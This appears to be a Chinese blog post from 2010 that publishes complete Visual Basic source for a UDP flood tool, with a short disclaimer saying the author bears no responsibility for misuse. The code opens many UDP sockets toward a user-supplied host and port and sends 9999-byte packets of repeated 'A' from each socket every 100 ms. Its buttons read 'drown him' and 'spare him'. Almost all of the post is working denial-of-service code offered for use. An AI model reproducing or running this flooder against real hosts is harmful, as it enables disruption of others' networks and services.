UDP洪水攻击VB源代码

UDP洪水攻击VB源代码 先声明想犯法绕道  

2010-10-16 20:57:17|  分类： 默认分类 |字号 订阅

如果你执意想用来做某些事情 一切事情与本人无关
Dim duankou As Integer                '定义端口变量，用于设置sock控件打开的本地端口
Private shujubao As String            '定义变量，用于储存数据包
Private Sub Command1_Click()
Dim mubiaozhuji As String
Dim mubiaoduankou As Integer
Dim lianjieshu As Integer
duankou = 8000                        '打开本地端口从8000开始
Call gouzaobao                        '调用gouzaobao过程用于构造洪水数据包
If Not IsNumeric(Text2.Text) Then
MsgBox "端口输入错误！"
Exit Sub
End If                                '如果端口输入的不是数字就提示错误
If Not IsNumeric(Text3.Text) Then
MsgBox "连接数输入错误！"
Exit Sub
End If                                '如果连接数输入的不是数字就提示错误
mubiaozhuji = Text1.Text
mubiaoduankou = Text2.Text
lianjieshu = Text3.Text
For i = 1 To lianjieshu               '动态的创建sock控件数组
Load sock(i)
sock(i).Protocol = sckUDPProtocol     '设置sock控件协议为UDP
sock(i).RemoteHost = mubiaozhuji      '设置sock控件连接地址，即被攻击主机
sock(i).RemotePort = Val(mubiaoduankou)    '设置sock控件连接的端口，即被攻击的主机的端口
sock(i).LocalPort = Val(duankou)           '设置sock控件打开的本地端口
duankou = duankou + 1
Next i

Timer1.Enabled = True                 'timer1开始工作
Form1.Caption = "正在攻击目标:" & mubiaozhuji
End Sub

Private Sub Command2_Click()
Timer1.Enabled = False                'timer1停止工作
For i = 1 To sock.Count - 1           '删除sock控件数组
Unload sock(i)
Next i
MsgBox "停止攻击！"
Form1.Caption = "UDP洪水攻击器"
End Sub
Private Sub Form_Load()
Timer1.Interval = 100 '设置timer1的频率为100
Timer1.Enabled = False
Command1.Caption = "淹死他"
Command2.Caption = "饶了他"
Text1.Text = ""
Text2.Text = ""
Text3.Text = ""
End Sub

Private Sub Timer1_Timer()             'timer1用于发送数据
For i = 1 To sock.Count - 1
sock(i).SendData shujubao
Next i
End Sub
Private Sub gouzaobao()                '这个过程用于构造数据包，构造9999个"A"
For i = 1 To 9999
shujubao = shujubao & "A"
DoEvents
Next
End Sub